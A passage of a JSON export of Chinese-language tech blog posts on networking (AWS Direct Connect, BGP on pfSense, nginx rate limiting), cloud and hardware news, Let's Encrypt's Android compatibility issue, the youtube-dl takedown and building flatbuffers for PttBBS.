    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的方式：「<a href=\"https://which.nameserve.rs/\">Which DNS</a>」，另外在「<a href=\"https://news.ycombinator.com/item?id=24886120\">Show HN: Which DNS servers are you pointing to? (nameserve.rs)</a>」這邊也有一些討論。\r\n\r\n這個方式是去抓 DNS server 對外的 IP，像 <a href=\"https://www.hinet.net/\">HiNet</a> 的 <code>168.95.1.1</code> 這種 DNS server 後面都有一堆 resolver，這個方式可以知道出去的 IP 是哪個，可以幫助分析 routing 之類的問題...\r\n\r\n記得 <a href=\"https://www.akamai.com/\">Akamai</a> 有類似的服務，不過查了一下沒找到之前有印象的那個，反倒是查到另外一組可以用的：「<a href=\"https://developer.akamai.com/blog/2018/05/10/introducing-new-whoami-tool-dns-resolver-information\">Introducing a New whoami Tool for DNS Resolver Information</a>」。",
    "title": "抓出正在使用的 DNS Server"
  },
  {
    "id": "9772",
    "body": "公司在菲律賓的辦公室因為常常會需要連到 <a href=\"https://aws.amazon.com/\">AWS</a> 傳輸影音資料 (新加坡，<code>ap-southeast-1</code>)，但發現偶而會很不順，傳輸的時候會很卡，所以後來決定租了一條專線用 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 接進去。\r\n\r\n不過因為跑在 AWS 上面的服務是掛在 public network 上，而不是 private ip 的網段，所以就不能用 IPsec site-to-site 打通收工，而需要搞 BGP routing，然後就卡關卡的亂七八糟 XD\r\n\r\n首先是文書作業的部份，因為 AWS 對於 public network peering 需要證明你要交換的 IP address 是你自己的 (或是有被授權)，這部份在 web console 上建立完 Public VIF 後會進入審核階段，接下來就要開 support ticket 提供 LOA-CFA 文件後才能繼續設定，我們這邊是從 ISP 申請 AWS Direct Connect 線路時拿到這份 PDF 文件。\r\n\r\n這邊比較有趣的是，如果你沒有買 support plan 的話無法開 technical support，但官方有跟你說這邊可以 workaround 開 <strong>General Info and Getting Started</strong> 這個類別：「<a href=\"https://aws.amazon.com/premiumsupport/knowledge-center/public-vif-stuck-verifying/\">My public virtual interface is stuck in the \"Verifying\" state. How can I get it approved?</a>」。\r\n\r\n過了審核後接下來是設定 <a href=\"https://www.pfsense.org/\">pfSense</a> 的部份，因為是要接通 public network 的部份，所以你要收 AWS 提供的 BGP routing，這部份在 pfSense 上會透過 <a href=\"http://www.openbgpd.org/\">OpenBGPD</a> 解決，但主要還是因為對 BGP 不熟悉，所以花了不少時間跟 AWS 原廠與台灣的 Partner 一起找問題，不然現在事後來看，自己 tcpdump 應該就有能力找到問題了...\r\n\r\n主要的盲點是在我們的 AWS Direct Connect 裡面 BGP 需要走 TCP MD5 Signature Option。\r\n\r\n這是一個 TCP extension，連線雙方有一把 shared secret 可以驗證每個 TCP packet 沒有被竄改：「<a href=\"https://tools.ietf.org/html/rfc2385\">Protection of BGP Sessions via the TCP MD5 Signature Option</a>」。\r\n\r\n要注意的是這個協定不是 application level，而是在 TCP 層本身就保護起來，包括 3-way handshake 的部份，所以從一開始 SYN 封包過去就要有 md5sig 的資訊。\r\n\r\n這也表示用 telnet 不會通是正常的，這點讓我找問題找錯方向好久...\r\n\r\n另外一點是 pfSense 的預設值不支援 TCP MD5 Signature Option (完全沒想過這個可能性 XDDD)，這點在 pfSense 的「<a href=\"https://redmine.pfsense.org/issues/7969\">md5 bgp sessions fail in 2.4.0</a>」這邊有提到：\r\n\r\n<blockquote>Do you have \"BSD Crypto Device\" selected under System > Advanced, Misc tab, for Cryptographic Hardware? If not, select it there and try again.\r\n\r\nThat module is required for TCP_SIGNATURE to function.\r\n\r\nIf that works I can either add some warning text to Quagga and FRR or force it to load when that is enabled.</blockquote>\r\n\r\n到了對應的選項那邊要選擇，因為我們的 pfSense 機器比較低階，沒有那堆硬體加速度的東西，所以選「BSD Crypto Device (cryptodev)」讓底層的 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 去處理。\r\n\r\n設定完後新的連線也還是不會有效果，後來想了一下還是整台重開機，然後就通了就通了就通了就通了就通了...\r\n\r\n果然弄很久的問題都會是蠢問題，純粹就是不熟悉這些東西造成的。",
    "title": "用 pfSense 接 AWS Direct Connect (Public VIF) 的方式"
  },
  {
    "id": "9773",
    "body": "算是繼上篇「<a href=\"https://blog.gslin.org/\">用 pfSense 接 AWS Direct Connect (Public VIF) 的方式</a>」的改善，上篇的方法設定完後預設會是全部都會 routing 進來。也就是說，如果你接到新加坡區，美東 routing 也會進來。\r\n\r\n這可能是你要的，但也可能不是你要的，所以找了一下方法，在 <a href=\"https://aws.amazon.com/\">AWS</a> 的文件裡面有提到可以透過 BGP community 控制這些 routing：「<a href=\"https://docs.aws.amazon.com/directconnect/latest/UserGuide/routing-and-bgp.html\">Routing policies and BGP communities</a>」。\r\n\r\n第一個方向是從 <a href=\"https://www.pfsense.org/\">pfSense</a> 送出去的封包，這個要過濾從 BGP 送進來的 routing table：\r\n\r\n<blockquote>AWS Direct Connect applies the following BGP communities to its advertised routes[.]</blockquote>\r\n\r\n把：\r\n\r\n<pre>allow from 1.2.3.4</pre>\r\n\r\n改成：\r\n\r\n<pre>allow from 1.2.3.4 community 7224:8100</pre>\r\n\r\n另外一個是讓 AWS 不要把我們的 network 送到其他區，這是在 network 上加上 BGP community tag：\r\n\r\n<blockquote>You can apply BGP community tags on the public prefixes that you advertise to Amazon to indicate how far to propagate your prefixes in the Amazon network, for the local AWS Region only, all Regions within a continent, or all public Regions.</blockquote>\r\n\r\n把本來的：\r\n\r\n<pre>network 1.2.3.4/30</pre>\r\n\r\n變成：\r\n\r\n<pre>network 1.2.3.4/30 set community 7224:9100</pre>\r\n\r\n先這樣搞，用 mtr 看了一下應該沒錯...",
    "title": "OpenBGPD 接 AWS Direct Connect 時只讓單區路由的方法"
  },
  {
    "id": "9774",
    "body": "看到 <a href=\"https://www.starlink.com/\">Starlink</a> 的北美北部的封測消息了：「<a href=\"https://www.reddit.com/r/Starlink/comments/jitefj/i_just_officially_received_an_email_invite_to_the/\">I just officially received an email invite to the Starlink beta.</a>」。\r\n\r\n大家最在意的費用部份，設定費 USD$499，月費 USD$99：\r\n\r\n<blockquote>It's called the Better Than Nothing Beta.\r\n\r\n<ul>\r\n\t<li>Estimated speeds 50Mbps to 150Mbps</li>\r\n\t<li>Estimated latency 20ms to 40ms</li>\r\n\t<li>Some interruptions in connectivity to be expected</li>\r\n\t<li>$499 for the phased array antenna and router</li>\r\n\t<li>$99 per month subscription</li>\r\n</ul></blockquote>\r\n\r\n翻了一下 <a href=\"https://www.reddit.com/\">Reddit</a> 上面的討論，目標族群跟之前猜測的差不多，這對於地廣人稀地區的使用者 (像是阿拉斯加的村落) 多了一個替代方案：「<a href=\"https://www.reddit.com/r/Starlink/comments/jjrh5e/starlink_is_600x_better_than_my_current_isp/\">Starlink is 600x better than my current ISP BEFORE you consider data cap. My jaw dropped when I saw the official numbers.</a>」。\r\n\r\n<blockquote>I live in a rural village in Alaska and pay around $200/mo for service that is running fast if it hits 500kbps with a 40GB data cap.\r\n\r\nHalf the price for up to 300x faster service? Elon please start launching some polar orbits.</blockquote>\r\n\r\n另外從「<a href=\"https://www.reddit.com/r/Starlink/comments/jj11v4/mods_could_we_get_a_stickied_post_for_confirmed/\">Mods, could we get a stickied post for confirmed beta invited states?</a>」這邊可以看到目前主要都是北美北部的州拿到邀請，應該是商業策略...",
    "title": "Starlink 北美北部封測"
  },
  {
    "id": "9775",
    "body": "這兩天受到注意的消息，維基基金會決定把 Git Server 從本來的 <a href=\"https://www.gerritcodereview.com/\">Gerrit</a> 轉換到自建的 <a href=\"https://gitlab.com/\">GitLab</a> 上：「<a href=\"https://www.mediawiki.org/wiki/GitLab_consultation\">GitLab consultation</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有不少討論 (i.e. 戰文)：「<a href=\"https://news.ycombinator.com/item?id=24919569\">Wikimedia is moving to Gitlab (mediawiki.org)</a>」。\r\n\r\n先從官方的說法開始看，主要是 Gerrit 的運作方式與目前業界與社群的常用方式不同，也導致了 usability 不怎麼好，這使得社群與基金會的員工的學習成本偏高：\r\n\r\n<blockquote>While Gerrit’s workflow is in many respects best-in-class, its interface suffers from usability deficits, and its workflow differs from mainstream industry practices. This creates barriers to entry for the community and slows onboarding for WMF technical staff.</blockquote>\r\n\r\n另外也發現內部很多人會直接用外部的 Git 服務，了解後主要列出三個原因：\r\n\r\n<ul>\r\n\t<li>lower friction to create new repositories</li>\r\n\t<li>easier setup and self-service of Continuous Integration configuration</li>\r\n\t<li>more familiarity with pull-request style workflows</li>\r\n</ul>\r\n\r\n再來就是尋找與選擇的過程了，但其實市場上也沒什麼可以選的，從說明的 FAQ 部份可以看到 <a href=\"https://github.com/\">GitHub</a> 與 GitLab，另外因為基金會的特性有強烈偏好 open source self-hosting 方案，基本上就是 GitLab 了...\r\n\r\n不過如果是因為 code review 而決定換過去的話，我猜不完全是工具的問題，內部應該有不少政治上的問題，只是外面這次看不出來而已。\r\n\r\n在 Hacker News 上的討論還蠻有趣的，有些前員工的發言點出了在 code review 時遇到的問題看起來不是這次換成 GitLab 可以解的。",
    "title": "維基基金會的 Git Server 從 Gerrit 換到 GitLab"
  },
  {
    "id": "9777",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的消息，<a href=\"https://www.backblaze.com/\">Backblaze</a> 與 <a href=\"https://www.fastly.com/\">Fastly</a>，免除 Origin 到 CDN 這段的流量費用：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">✨ NEW ✨ <br>We’re thrilled to announce our collaboration with edge cloud platform leader <a href=\"https://twitter.com/fastly?ref_src=twsrc%5Etfw\">@fastly</a>! Free egress from Backblaze B2 Cloud Storage to Fastly’s network means that you can now...<br><br>Set Your Content Free With Fastly and Backblaze B2<a href=\"https://t.co/qm3OmhTPi1\">https://t.co/qm3OmhTPi1</a> via <a href=\"https://twitter.com/backblaze?ref_src=twsrc%5Etfw\">@backblaze</a> <a href=\"https://t.co/eQxN12hH5J\">pic.twitter.com/eQxN12hH5J</a></p>&mdash; Backblaze (@backblaze) <a href=\"https://twitter.com/backblaze/status/1321118307244670981?ref_src=twsrc%5Etfw\">October 27, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n新聞稿是「<a href=\"https://www.backblaze.com/blog/set-your-content-free-with-fastly-and-backblaze-b2/\">Set Your Content Free With Fastly and Backblaze B2</a>」這篇：\r\n\r\n<blockquote>Our new collaboration with Fastly, a global edge cloud platform and CDN, offers an integrated solution that will let you store and serve rich media files seamlessly, free from the lock-in fees and functionality of closed “goliath” cloud storage platforms, and all with free egress from Backblaze B2 Cloud Storage to Fastly.</blockquote>\r\n\r\n不過這不是第一家提供這樣的方案，在 2018 年的時候就有跟 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 合作，免除了 Origin 端到 CDN 端這段費用：「<a href=\"https://blog.gslin.org/archives/2018/09/27/8506/backblaze-%E8%88%87-cloudflare-%E5%90%88%E4%BD%9C%EF%BC%8C%E5%85%8D%E9%99%A4%E5%82%B3%E8%BC%B8%E8%B2%BB%E7%94%A8/\">Backblaze 與 Cloudflare 合作，免除傳輸費用</a>」。",
    "title": "Backblaze 與 Fastly 合作"
  },
  {
    "id": "9779",
    "body": "<a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 推出的整合性硬體 <a href=\"https://www.raspberrypi.org/products/raspberry-pi-400/\">Raspberry Pi 400</a>：「<a href=\"https://www.raspberrypi.org/blog/raspberry-pi-400-the-70-desktop-pc/\">Raspberry Pi 400: the $70 desktop PC</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/45lU2x5.webp\" /><img src=\"https://i.gslin.com/imgur/45lU2x5.png\" alt=\"\" /></picture>\r\n\r\n主體是 Raspberry Pi 4 (4GB 版本) 整合鍵盤 (一體成形，順便就有外殼了)，另外週邊的配件包括了預載 OS 的 SD 卡、滑鼠、電供，以及 microHDMI 轉 HDMI 線，這樣整包的價錢是 USD$100，但如果只買主體的部份則是 USD$70。\r\n\r\n算了一下是不貴 (4GB 版本應該是 USD$55)，主要就是方便吧... 不過散熱的部份不知道有沒有另外處理，如果沒有的話可能得自己貼個散熱片。\r\n\r\n比起以前更適合當 dashboard 之類的主機了？",
    "title": "Raspberry Pi 400"
  },
  {
    "id": "9780",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈要在瑞士開新的區域：「<a href=\"https://aws.amazon.com/blogs/aws/in-the-works-new-aws-region-in-zurich-switzerland/\">In the Works – New AWS Region in Zurich, Switzerland</a>」。\r\n\r\n目標是 2022 的下半年開三個 AZ：\r\n\r\n<blockquote>It will open in the second half of 2022 with three Availability Zones and will give developers, startups, and enterprises, as well as government, education, and non-profit organizations the ability to run their applications and serve end-users from data centers located in Switzerland.</blockquote>\r\n\r\n如果是講「啟用」的話，接下來應該是 2021 上半年要開的大阪區，先等這個消息好了，不知道 <a href=\"https://en.wikipedia.org/wiki/COVID-19\">COVID-19</a> 對這些計畫的影響有多大...",
    "title": "AWS 計畫在 2022 下半年開瑞士區"
  },
  {
    "id": "9782",
    "body": "<a href=\"https://youtube-dl.org/\">youtube-dl</a> 的這件事情的後續影響意外的大 (引發了 <a href=\"https://en.wikipedia.org/wiki/Streisand_effect\">Streisand effect</a>)，除了這算是 <a href=\"https://en.wikipedia.org/wiki/RIAA\">RIAA</a> 的最新力作以外，還發生了好幾個首次出現的過程 (而且有些事情還在進行)，值得花一些時間挑出幾個比較有趣的地方記錄。\r\n\r\n在英文版維基百科的「<a href=\"https://en.wikipedia.org/wiki/Youtube-dl\">youtube-dl</a>」與中文版維基百科的「<a href=\"https://zh.wikipedia.org/wiki/Youtube-dl\">youtube-dl</a>」上面也陸陸續續把發生的經過都記錄起來了，有興趣的人也可以去看看。\r\n\r\nRIAA 的動作不算太意外，比較特別的是這次的 takedown notice 不是常見的 <a href=\"https://en.wikipedia.org/wiki/DMCA_512\">DMCA 512</a> 侵權宣告，而是宣稱 youtube-dl 故意繞過 <a href=\"https://www.youtube.com/\">YouTube</a> 的「保護機制」的工具：「<a href=\"https://joindiaspora.com/posts/808cf690f8e801381778002590d8e506\">The RIAA’s fraudulent attack on youtube-dl is not a DMCA §512 infringement/safe-harbour, and the reality is weird</a>」，除了本身的文件以外，大家發現在 test case 裡面試著下載 YouTube 上的版權影片也可能是個明顯的問題。\r\n\r\n另外是 GitHub 現在的 CEO，<a href=\"https://en.wikipedia.org/wiki/Nat_Friedman\">Nat Friedman</a>，親自跑到 youtube-dl 的 IRC 上面「討論」後續可能的作法，這點也是讓大家愣住的地方：「<a href=\"https://torrentfreak.com/riaas-youtube-dl-takedown-ticks-of-developers-and-githubs-ceo-201027/\">RIAA’s YouTube-DL Takedown Ticks Off Developers and GitHub’s CEO</a>」。\r\n\r\n不過最近 GitHub 又警告了使用者不要重新上傳 youtube-dl 的程式碼，這有可能會被 ban XDDD：「<a href=\"https://torrentfreak.com/github-warns-users-reposting-youtube-dl-they-could-be-banned-201102/\">GitHub Warns Users Reposting YouTube-DL They Could Be Banned</a>」，對應的修改在「<a href=\"https://github.com/github/dmca/commit/df637000b1e0064dec76f74247389bc643f29482\">add statement about reposting and tos violating content</a>」這邊。\r\n\r\n這齣戲還在演...",
    "title": "youtube-dl 被 RIAA 用 DMCA 打下來的事件"
  },
  {
    "id": "9783",
    "body": "先不說之前大家對於新改版的 logo 頭很痛的問題：「<a href=\"https://techcrunch.com/2020/10/06/googles-new-logos-are-bad/\">Google&#8217;s new logos are bad</a>」，剛剛看到 <a href=\"https://twitter.com/\">Twitter</a> 上面有人把圖都抽出來抓色碼，你他 X 的這四個產品的四個顏色都不一樣啊...\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Not same ??‍♂️??‍♂️ <a href=\"https://t.co/NFQakRub3e\">pic.twitter.com/NFQakRub3e</a></p>&mdash; Olcayto Cengiz (@OlcaytoCengiz) <a href=\"https://twitter.com/OlcaytoCengiz/status/1321913615973318656?ref_src=twsrc%5Etfw\">October 29, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3QWfK3Q.webp\" /><img src=\"https://i.gslin.com/imgur/3QWfK3Q.png\" alt=\"\" /></picture>\r\n\r\n晚點來查查看這些數字是不是有特殊的意義好了...",
    "title": "Google 產品的四個顏色其實不同..."
  },
  {
    "id": "9786",
    "body": "在「<a href=\"https://www.schneier.com/blog/archives/2020/11/determining-what-video-conference-participants-are-typing-from-watching-shoulder-movements.html\">Determining What Video Conference Participants Are Typing from Watching Shoulder Movements</a>」這邊看到的方法，利用視訊會議時肩膀的移動猜測輸入的字串，原始的論文在「<a href=\"https://arxiv.org/abs/2010.12078\">Zoom on the Keystrokes: Exploiting Video Calls for Keystroke Inference Attacks</a>」這邊可以看到。\r\n\r\n就論文有提到的，單就這個資訊的準確度看起來不高，看起來主要是想驗證這也是一個攻擊手法... 但馬上想到視訊會議裡如果有聲音的話，可以透過分析鍵盤的聲音攻擊，這在 2005 年的時候就有類似的手法了，而且準確率很高，不過不知道過了視訊會議軟體後會差多少：「<a href=\"https://www.schneier.com/blog/archives/2005/09/snooping_on_tex.html\">Snooping on Text by Listening to the Keyboard</a>」。\r\n\r\n算是個頗特別的方法就是了...",
    "title": "在視訊會議裡面，用肩膀的移動猜測輸入的字串"
  },
  {
    "id": "9787",
    "body": "在 <a href=\"https://lwn.net/\">LWN</a> 上看到 <a href=\"https://www.kernel.org/\">kernel.org</a> 解釋並且推動 git push 的電子簽名：「<a href=\"https://lwn.net/Articles/835985/rss\">Signed pushes for kernel.org</a>」。\r\n\r\n在「<a href=\"https://people.kernel.org/monsieuricon/signed-git-pushes\">Signed git pushes</a>」這篇裡面解釋了除了 git commit 本身的簽名外，另外 git push 的簽名也有重要性。\r\n\r\n而在「<a href=\"https://people.kernel.org/monsieuricon/introducing-the-kernel-org-git-transparency-log\">Introducing the kernel.org git transparency log</a>」這邊則是公開了對應的 git transparency log。\r\n\r\n這個方法讓 kernel.org 上的 git repository 會更透明，加上 kernel.org 上的 git repository 會被很多人 mirror，在真的出問題的時候，大家手上也都有資料可以交叉比對...",
    "title": "kernel.org 推動 git push 的簽名"
  },
  {
    "id": "9788",
    "body": "<a href=\"https://aws.amazon.com/amazon-mq/\">Amazon MQ</a> 本來只支援 <a href=\"https://activemq.apache.org/\">ActiveMQ</a>，剛剛看到消息支援 <a href=\"https://www.rabbitmq.com/\">RabbitMQ</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/11/announcing-amazon-mq-rabbitmq/\">Announcing Amazon MQ for RabbitMQ</a>」。\r\n\r\n用的版本還算可以，查了一下 3.8.6 是今年八月出的：\r\n\r\n<blockquote>Amazon MQ currently supports RabbitMQ version 3.8.6 and has support for version upgrades.</blockquote>\r\n\r\n基本上 ActiveMQ 版本與 RabbitMQ 版本的價錢相同，不過 RabbitMQ 看起來就只支援比較新的機器了，像是 <code>t2</code> 系列的機器基本上就不支援了。\r\n\r\n然後費用相當貴，差不多是機器本身三倍左右的價錢，看起來能自己架還是可以考慮自己架...",
    "title": "Amazon MQ 支援 RabbitMQ"
  },
  {
    "id": "9790",
    "body": "<strong>Update</strong>：這個方法問題好像還是不少，目前先拿掉了...\r\n\r\n這幾天 blog 被掃中單一頁面負載會比較重的頁面，結果 CPU loading 變超高，從後台可以看到常常滿載：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T9euOeZ.webp\" /><img src=\"https://i.gslin.com/imgur/T9euOeZ.png\" alt=\"\" /></picture>\r\n\r\n看了一下是都是從 <a href=\"https://azure.microsoft.com/\">Azure</a> 上面打過來的，有好幾組都在打，IP address 每隔一段時間就會變，所以單純用 firewall 擋 IP address 的方法看起來沒用...\r\n\r\n印象中 nginx 本身可以 rate limit，搜了一下文件可以翻到應該就是「<a href=\"https://nginx.org/en/docs/http/ngx_http_limit_req_module.html\">Module ngx_http_limit_req_module</a>」這個，就設起來暫時用這個方式擋著，大概是這樣：\r\n\r\n<pre>\r\nlimit_conn_status 429;\r\nlimit_req_status 429;\r\nlimit_req_zone $binary_remote_addr zone=myzone:10m rate=10r/m;\r\n</pre>\r\n\r\n其中預設是傳回 5xx 系列的 service unavailable，但這邊用 429 應該更正確，從維基百科的「<a href=\"https://en.wikipedia.org/wiki/List_of_HTTP_status_codes\">List of HTTP status codes</a>」這邊可以看到不錯的說明：\r\n\r\n<blockquote>429 Too Many Requests (RFC 6585)\r\nThe user has sent too many requests in a given amount of time. Intended for use with rate-limiting schemes.</blockquote>\r\n\r\n然後 virtual host 的設定檔內把某個 path 放進這個 zone 保護起來，目前比較困擾的是需要 copy &amp; paste <code>try_files</code> 與 <a href=\"https://en.wikipedia.org/wiki/FastCGI\">FastCGI</a> 相關的設定：\r\n\r\n<pre>\r\n    location /path/subpath {\r\n        limit_req zone=myzone;\r\n        try_files $uri $uri/ /index.php?$args;\r\n\r\n        include fastcgi.conf;\r\n        fastcgi_intercept_errors on;\r\n        fastcgi_pass php74;\r\n    }\r\n</pre>\r\n\r\n這樣一來就可以自動擋下這些狂抽猛送的 bot，至少在現階段應該還是有用的...\r\n\r\n如果之後有遇到其他手法的話，再見招拆招看看要怎麼再加強 :o",
    "title": "這幾天 blog 被掃，用 nginx 的 limit_req_zone 擋..."
  },
  {
    "id": "9793",
    "body": "看到「<a href=\"https://lwn.net/Articles/836544/\">Mutt 2.0 released</a>」這篇，<a href=\"http://www.mutt.org/\">Mutt</a> 推出 2.0 版，官方的 release notes 則是在這：「<a href=\"http://www.mutt.org/relnotes/2.0/\">Mutt 2.0 Release Notes</a>」。\r\n\r\n這次版本跳到 2.0 主要是因為有 incompatible changes，實質上的變更其實沒有太多：\r\n\r\n<blockquote>This release was bumped to 2.0, not because of the magnitude of features (which is actually smaller than past releases), but because of a few changes that are backward incompatible.</blockquote>\r\n\r\n我自己還是保留一個信箱用 Mutt 在看信，主要是有一個信箱是完全控制在自己手上，所以自己架設 mail server 並且在上面看信...\r\n\r\n上面主要是透過 <a href=\"https://en.wikipedia.org/wiki/Procmail\">procmail</a> 拿來收各種信件 (尤其是 mailing list)，對於純文字的閱讀還是頗方便...",
    "title": "Mutt 跳版推出 2.0"
  },
  {
    "id": "9794",
    "body": "剛剛看 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的「<a href=\"https://letsencrypt.org/2020/11/06/own-two-feet.html\">Standing on Our Own Two Feet</a>」這篇時才發現現在 <a href=\"https://www.android.com/\">Android</a> 市場分佈情況需要從 <a href=\"https://en.wikipedia.org/wiki/Android_Studio\">Android Studio</a> 上翻：\r\n\r\n<blockquote>Google no longer provides version numbers on its Distribution Dashboard, but you can still get some data by downloading Android Studio.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gFoqVKm.webp\" /><img src=\"https://i.gslin.com/imgur/gFoqVKm.png\" alt=\"\" /></picture>\r\n\r\n一路往前對應的報導分別是「<a href=\"https://www.xda-developers.com/android-version-distribution-statistics-android-studio/\">Android Version Distribution statistics will now only be available in Android Studio</a>」以及「<a href=\"https://9to5google.com/2020/04/10/google-kills-android-distribution-numbers-web/\">Google kills Android distribution numbers on the web, but we’ve got you covered</a>」。\r\n\r\n至少有資料可以翻... 這樣看起來如果以 1% 為界線的話得要支援到 4.2？如果放寬到 2% 的話也得 4.4。如果只支援 5.0+，表示放掉快 6% 的使用者？\r\n\r\n如果是走東南亞的話應該會更痛苦了，明天去找人聊聊好了 @_@",
    "title": "現在的 Android 市場分佈情況"
  },
  {
    "id": "9795",
    "body": "同樣是「<a href=\"https://letsencrypt.org/2020/11/06/own-two-feet.html\">Standing on Our Own Two Feet</a>」這篇文章，<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 預期明年九月後會在 <a href=\"https://www.android.com/\">Android</a> 上遇到嚴重的相容性問題。\r\n\r\n很舊的裝置主要是透過 <a href=\"https://www.identrust.com/\">IdenTrust</a> 的 Root CA (DST Root CA X3) 對 Let's Encrypt 的 Intermediate CA (目前主要是 Let's Encrypt Authority X3) 簽名，從而建立憑證的信任鍊，而新的裝置除了 IdenTrust 的 CA 外，也信任了 Let's Encrypt 自家的 Root CA (ISRG Root X1)：(出自「<a href=\"https://letsencrypt.org/certificates/\">Chain of Trust</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DnJnl8F.webp\" /><img src=\"https://i.gslin.com/imgur/DnJnl8F.png\" alt=\"\" /></picture>\r\n\r\n在 2016 年四月正式對外啟用時主要是靠 IdenTrust 的 cross-sign，而也是在 2016 年時 Let's Encrypt 自家的 Root CA (ISRG Root X1) 陸陸續續被各家收進 CA store。\r\n\r\n所以這個時間點之前的 Android (大約是 7.1.1) 算是個相容性的分界線，在這個版本前 (而且系統無法更新的) 都只能靠 IdenTrust 的 cross-sign，這看起來大約有 33.8%，實際的流量大約是 1%～5%：\r\n\r\n<blockquote>Currently, 66.2% of Android devices are running version 7.1 or above. The remaining 33.8% of Android devices will eventually start getting certificate errors when users visit sites that have a Let’s Encrypt certificate. In our communications with large integrators, we have found that this represents around 1-5% of traffic to their sites. Hopefully these numbers will be lower by the time DST Root X3 expires next year, but the change may not be very significant.</blockquote>\r\n\r\n目前還有大約十個月左右的緩衝期，但大家都知道 Android 的更新速度，就十個月來說看起來不太樂觀...\r\n\r\n官方有給他們不願意再取得一次 cross-sign 的原因，不過我覺得這個理由就很怪了，這個描述看起來是 IdenTrust 不願意再簽發一次？直覺覺得 IdenTrust 站在商業立場應該是很願意才對？而且除了 IdenTrust，應該也有其他家會有興趣？\r\n\r\n<blockquote>Can we get another cross-signature? We’ve explored this option and it seems unlikely. It’s a big risk for a CA to cross-sign another CA’s certificate, since they become responsible for everything that CA does.</blockquote>\r\n\r\n也有可能是放個話讓 IdenTrust 表態？先繼續看下去...\r\n\r\n最差的情況應該就是沒有 cross-sign，然後也沒提供其他的 workaround，這樣就是買一般的 SSL certificate 來解了...",
    "title": "Let's Encrypt 在 Android 平台上遇到的問題"
  },
  {
    "id": "9796",
    "body": "留個記錄上後面的人知道怎麼編...\r\n\r\n我自己有用 <a href=\"https://github.com/ptt/pttbbs\">PttBBS</a> 架個站自己丟一些東西，本來是想要修改發文時延遲一秒的 <code>sleep(1);</code> 保護 (反正整個站也只有我自己用，patch 在 <a href=\"https://github.com/gslin/pttbbs/commit/f0a218872a784d82fa7d83efeda95663b9d11af4\">Remove sleep(1) protection.</a> 這邊)，結果升級的過程中間發現 PttBBS 上個月引入了 <a href=\"https://www.google.com/\">Google</a> 家的 <a href=\"https://google.github.io/flatbuffers/\">flatbuffers</a>，就編不過去了...\r\n\r\n找了一下找到給 Ubuntu 18.04 (bionic) 用的 PPA，是 1.11 版：「<a href=\"https://launchpad.net/~hnakamur/+archive/ubuntu/flatbuffers\">flatbuffers</a>」，裝起來之後發現用了 <code>--filename-suffix</code> 語法，這個功能在 1.12 才被引入：「<a href=\"https://github.com/google/flatbuffers/commit/6ff1898413a56577bd2e9abd8280a79b1880bd53\">Added --filename-suffix and --filename-ext to flatc</a>」。\r\n\r\n另外就算故意拿掉 <code>--filename-suffix</code>，看起來 fbs 檔內也有用到 1.12 才吃的格式，所以還是照「<a href=\"https://stackoverflow.com/questions/55394537/how-to-install-flatc-and-flatbuffers-on-linux-ubuntu\">How to install flatc and flatbuffers on linux ubuntu</a>」這邊講的，乖乖的自己編了一個 flatc 出來用。\r\n\r\n編好以後在 <code>~/.profile</code> 裡面設定 <code>PATH</code>，讓編譯時可以吃到：\r\n\r\n<pre>\r\nexport PATH=\"${HOME}/flatbuffers:${PATH}\"\r\n</pre>\r\n\r\n然後再回去 <code>pmake all</code> 應該就會過了，我這邊是遇到記憶體吃爆 OOM 的情況，另外加 swapfile 就解決了...",
    "title": "新版 PttBBS 用到的 flatbuffers"
  },
  {
    "id": "9797",
    "body": "看到「<a href=\"https://benjamincongdon.me/blog/2020/10/30/Goodbye-IFTTT/\">Goodbye IFTTT</a>」這篇在講 <a href=\"https://ifttt.com/\">IFTTT</a> 收費後的替代方案。\r\n\r\n我自己還是繼續用 IFTTT，主要是 <a href=\"https://line.me/\">Line</a> 的 bot 申請起來太麻煩了，就花錢丟著，其他的大多都有方案可以處理。\r\n\r\n但不管怎麼樣，open source 的方案還是可以玩看看... 文章裡其中一個提到的是 <a href=\"https://n8n.io/\">n8n</a>，用 <a href=\"https://nodejs.org/\">Node.js</a> 寫的，裝起來也蠻簡單的 (我是用 <a href=\"https://github.com/nvm-sh/nvm\">nvm</a> + npm 裝起來)，而目前支援的項目在「<a href=\"https://n8n.io/integrations\">Integrations (Nodes)</a>」這邊可以看到。\r\n\r\n跑起來後連上去，這界面看起來更像當年 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 家的 <a href=\"https://en.wikipedia.org/wiki/Yahoo!_Pipes\">Yahoo! Pipes</a>，而不是 IFTTT... 有點唏噓的感覺。\r\n\r\n晚點再多花點時間玩玩 n8n...\r\n\r\n另外一個是用 <a href=\"https://rubyonrails.org/\">Rails</a> 寫的 <a href=\"https://github.com/huginn/huginn\">Huginn</a>，純粹個人偏好，應該暫時不會碰...",
    "title": "IFTTT 與 n8n"
  },
  {
    "id": "9798",
